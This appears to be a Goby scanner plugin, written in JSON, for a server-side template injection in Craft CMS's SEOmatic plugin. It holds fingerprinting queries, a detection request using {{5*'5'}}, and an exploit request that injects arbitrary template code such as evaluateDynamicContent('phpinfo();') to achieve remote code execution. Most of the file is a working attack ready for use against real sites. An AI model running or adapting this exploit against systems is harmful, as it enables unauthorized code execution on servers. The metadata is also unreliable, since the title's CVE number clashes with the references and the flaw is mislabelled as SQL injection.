{ "Name": "CraftCMS SEOmatic Server-Side Template Injection CVE-2020-9597", "Level": "2", "Tags": [ "rce", "sqli" ], "GobyQuery": "title=\"Welcome to Craft CMS\" || body=\"href=\\\"http://craftcms.com/\\\"\" || body=\"SEOmatic\" || header=\"Craft CMS\" || header=\"Craft CMS, SEOmatic\"", "Description": "Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond.", "Product": "craftcms", "Homepage": "https://craftcms.com/", "Author": "", "Impact": "The SEOmatic component before 3.3.0 for Craft CMS allows Server-Side Template Injection that leads to RCE via malformed data to the metacontainers controller.", "Recommendation": "", "References": [ "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757", "https://github.com/nystudio107/craft-seomatic/blob/v3/CHANGELOG.md", "https://github.com/giany/CVE/blob/master/CVE-2020-9757.txt", "https://github.com/nystudio107/craft-seomatic/commit/65ab659cb6c914c7ad671af1e417c0da2431f79b", "https://github.com/nystudio107/craft-seomatic/commit/a1c2cad7e126132d2442ec8ec8e9ab43df02cc0f" ], "HasExp": true, "ExpParams": [ { "Name": "cmd", "Type": "input", "Value": "craft.app.view.evaluateDynamicContent('phpinfo();')" } ], "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "method": "GET", "uri": "/actions/seomatic/meta-container/meta-link-container/?uri={{5*'5'}}", "follow_redirect": false, "header": null, "data_type": "text", "data": "", "set_variable": [ "r1|rand|int|2", "r2|rand|int|2" ] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "MetaLinkContainer", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "canonical", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "25", "bz": "" } ] }, "SetVariable": [ "output|lastbody|regex|" ] } ], "ExploitSteps": [ "AND", { "Request": { "method": "GET", "uri": "/actions/seomatic/meta-container/meta-link-container/?uri=%7B%7B{{{cmd}}}%7D%7D", "follow_redirect": false, "header": null, "data_type": "text", "data": "", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" } ] }, "SetVariable": [ "output|lastbody||" ] } ], "PostTime": "0000-00-00 00:00:00", "GobyVersion": "0.0.0" }